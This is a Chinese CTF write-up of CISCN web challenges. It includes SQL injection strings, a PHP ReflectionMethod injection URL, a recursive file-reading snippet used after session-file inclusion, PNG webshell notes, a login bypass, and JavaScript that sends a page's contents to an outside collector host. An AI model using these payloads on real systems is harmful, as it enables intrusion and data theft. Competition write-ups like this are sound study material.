Background

跟着Birkenwald打了CISCN,也是人生中第一次有名额的国赛,记录下几道题

easysql

burp 测试了下
ban掉的东西很少,
union 和一些常见的列名,想起了LCTF2017题目里面的一道题报错无列名注入获得列名
参考了链接:https://www.secpulse.com/archives/65812.html
3A3E9CE7-37E1-4E77-ABC9-2785D917D888.png
我算取巧了,上来就尝试flag表,构造闭合

'  and((select flag from flag)) and '

3F41E5F2-7382-4F5B-920E-3D8558252831.png
存在flag表没有flag列
存在flag表 没有flag列而已,直接join无列名注入

' and ((select * from (select * from flag a join flag b using (no,id))c)) and '

报错读flag

'and  extractValue(1,(select f05b5eb1-d700-490c-80b3-f994cd858209 from flag)) and '

二血二血

easy_source

简单测试下目录
发现.index.php.swo
发现源码
本题目没有其他代码了噢,就只有这一个文件,虽然你看到的不完全,但是你觉得我会把flag藏在哪里呢,仔细想想文件里面还有什么?

<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }

    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }
    
}

$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());

代码里这个User类并没有什么东西,提示我们要注意文件里面还有什么,我一开始想 不会还有东西是不显示的吧 后来发现并没有,实例的类可用 基本确定我们是用内置类来进行操作
php内置类里的 ReflectionMethod 来读取东西
读什么是关键,想了想就在文件里面,想能不能读取注释呢
构造payload

payload:index.php?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment
注释

C04F1084-22BF-4CD9-BA3B-9FC70F4D8311.png
那就burp 暴力破解下,直接遍历函数看看里面的注释
最后在q里面成功找到
踩坑: 当时想的是读内部文件,构造payload总失败,然后就是想当然去读flag.php完全没看题意,我的问题

middle_source

做吐了的一道题,一开始就盯着源码硬dui,后来才发现又个/.listing
打开是个phpinfo
给了phpinfo+文件包含位点 基本上就是session包含
p神的脚本一下子就找到了
https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
然后吐了写了半天shell 怎么也没写进去,然后就懵了,后来仔细翻了phpinfo
708500B6-A0FD-4559-B156-CB30624AFC14.png
直接ban掉了,那我就只能自己读文件了,
直接写入

<?php print_r('glob /etc/*');?>

D763605B-73B0-4617-8C35-A960D8E96E77.png
打出一堆文件
这个也是我的锅,我第一反应是学习一下这些都是什么意思,然后不断浪费自己时间之后,发现
这个太垃圾的随机字符串了
在第八个
读的时候发现有好多目录
于是就随便写个啥东西直接递归读

<?php function digui($a=""){foreach(glob($a.'/*') as $file){if (is_dir($file)) {print_r($file."fuck...\n");digui($file);}else{print_r(file_get_contents($f));}}}digui('/etc/bdfdheaedh'); ?>

然后get flag

upload(未做出)

这题我本地打通过一次,然后就再也打不出来了,远程也是不通,我吐了
压缩包死活不行,后来说只有360压缩文件之后头不坏?你他妈的,我把你马杀了

https://paper.seebug.org/papers/Archive/drops2/php%20imagecreatefrom.%20%E7%B3%BB%E5%88%97%E5%87%BD%E6%95%B0%E4%B9%8B%20png.html
然后用这两个函数写马
imagecreatefrompng和imagepng

一开始unicode欺骗 在unicode大全随便找个i用
没扫目录,扫目录底下有个/example.php
有个解压的文件,就是写马解压了
后来其他师傅跟我说

#define 不能写在post流里 我直接吐了好吧

摸鱼的题目

1DED3FA2-4502-479C-B9FF-635EC77C7909.png
登录框 无提示 万能密码

'or '1='1

登录上去后发现有写note和link
DDD461FA-7CE0-4676-91A1-ECD2EA36E571.png
xss 多明显家人们,但是cookies 有httponly
最后我直接csrf做的
收到数据就好

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
 if (this.readyState == 4 && this.status == 200) {
  window.location = "https://hookbin/?a="+encodeURIComponent(this.responseText);
 }
};
xhttp.open("GET", "http://politenotepad.zajebistyc.tf/", true);
xhttp.withCredentials = true;
xhttp.send();

摸完发现 哦大家都做出来了 不愧是废物的我

后记

还是菜,审计能力差,最近还是得补一下开发的能力,然后就是web这回其实难度挺好的,包括这个静态分数 就是这个脑瘫赛制,感觉回到了高考 360 我他妈要的是青春的回忆,你他妈直接给我放青春终点坟墓? 加个题外话,writeups就是要把自己的思路和踩坑都放出来,不是上来就放脚本, 最后补一句 1cepeak太强了,也很好喝 Tr0jan星哥太强了 肝帝 pwn爷爷太强了 很喜欢他的那句 靶机用完了你用吧 我占着靶机还是没打出来upload 呜呜呜 哦对 360真sb